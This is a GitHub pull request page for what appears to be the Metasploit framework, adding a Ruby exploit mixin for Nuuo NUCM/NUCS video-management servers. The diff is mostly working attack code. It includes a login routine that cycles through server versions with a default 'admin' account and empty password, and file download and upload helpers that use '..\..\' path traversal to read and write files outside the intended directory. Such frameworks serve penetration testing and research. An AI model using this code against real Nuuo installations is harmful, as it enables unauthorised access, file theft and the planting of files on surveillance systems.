Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new mixin for Nuuo models #11289

Merged
merged 13 commits into from
Feb 20, 2019
1 change: 1 addition & 0 deletions lib/msf/core/exploit/mixins.rb
Original file line number Diff line number Diff line change
Expand Up @@ -125,3 +125,4 @@

# Other
require 'msf/core/exploit/windows_constants'
require 'msf/core/exploit/remote/nuuo'
196 changes: 196 additions & 0 deletions lib/msf/core/exploit/remote/nuuo.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,196 @@
require 'msf/core/exploit/tcp'

###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak Nuuo NUCM protocol for their devices and management software.
#
###
module Msf
module Exploit::Remote::Nuuo
include Exploit::Remote::Tcp

#
# Creates an instance of an Nuuo exploit module.
#
def initialize(info = {})
super(update_info(info,
'Author' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I see your evil plan there :-)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

:) I'm not planning to dig deeper (for the moment), but pointing it out to whoever wants to look into it...

[
'Pedro Ribeiro <pedrib@gmail.com>'
],
))

register_options(
[
Opt::RHOST,
Opt::RPORT(5180),
OptString.new('SESSION', [false, 'Session number of logged in user']),
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
], Msf::Exploit::Remote::Nuuo)

register_advanced_options(
[
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
])

@nucs_session = nil

# All NUCS versions at time of release
# Note that these primitives are not guaranteed to work in all versions
# Add new version strings here
# We need these to login;
# when requesting a USERLOGIN we need to send the same version as the server...
@nucs_versions =
[
"1.3.1",
"1.3.3",
"1.5.0",
"1.5.2",
"1.6.0",
"1.7.0",
"2.1.0",
"2.3.0",
"2.3.1",
"2.3.2",
"2.4.0",
"2.5.0",
"2.6.0",
"2.7.0",
"2.8.0",
"2.9.0",
"2.10.0",
"2.11.0",
"3.0.0",
"3.1.0",
"3.2.0",
"3.3.0",
"3.4.0",
"3.5.0"
]

@nucs_version = nil
end


##
# Sends a protocol message aynchronously - fire and forget
##
def nucs_send_msg_async(msg)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
# socket cannot be closed, it causes exploits to fail...
#sock.close
rescue
return
end
end


# Sends a protocol data message synchronously - sends and returns the result
# A data message is composed of two parts: first the message length and protocol headers,
# then the actual data, while a non-data message only contains the first part.
##
def nucs_send_msg(msg, data = nil)
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
if data != nil
sock.write(data.to_s)
end
res = sock.recv(4096)
more_data = ''
if res =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
break if !new_data || new_data.length == 0
more_data << new_data
recv += new_data.length
end
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [res, more_data]
rescue
return ['', '']
end


##
# Downloads a file from the CMS install root.
# Add the ZIP extraction and decryption routine once support for it is added to msf.
##
def nucs_download_file(filename, decrypt = false)
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
data[1]
end


##
# Uploads a file to the CMS install root.
##
def nucs_upload_file(filename, file_data)
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
if data[0] =~ /200/
bcoles marked this conversation as resolved.
Show resolved Hide resolved
true
else
false
end
end

# logs in to the NUCS server
# first, it tries to use the datastore SESSION if such exists
# if not, it then tries to login using the datastore USERNAME and PASSWORD
# In order to login properly, we need to guess the server version...
# ... so just try all of them until we hit the right one
def nucs_login
if datastore['SESSION'] != nil
# since we're logged in, we don't need to guess the version any more
@nucs_session = datastore['SESSION']
return
end

@nucs_versions.shuffle.each do |version|
@nucs_version = version

res = nucs_send_msg(
[
"USERLOGIN",
"Version: #{@nucs_version}",
"Username: #{datastore['USERNAME']}",
"Password-Length: #{datastore['PASSWORD'].length}",
"TimeZone-Length: 0"
],
datastore['PASSWORD']
)

if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
@nucs_session = $1
break
end
end
end

private
##
# Formats the message we want to send into the correct protocol format
##
def format_msg(msg)
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
for line in msg[1...msg.length]
final_msg += "#{line}\r\n"
end
if not final_msg =~ /USERLOGIN/
final_msg += "User-Session-No: #{@nucs_session}\r\n"
end
return final_msg + "\r\n"
end

end

end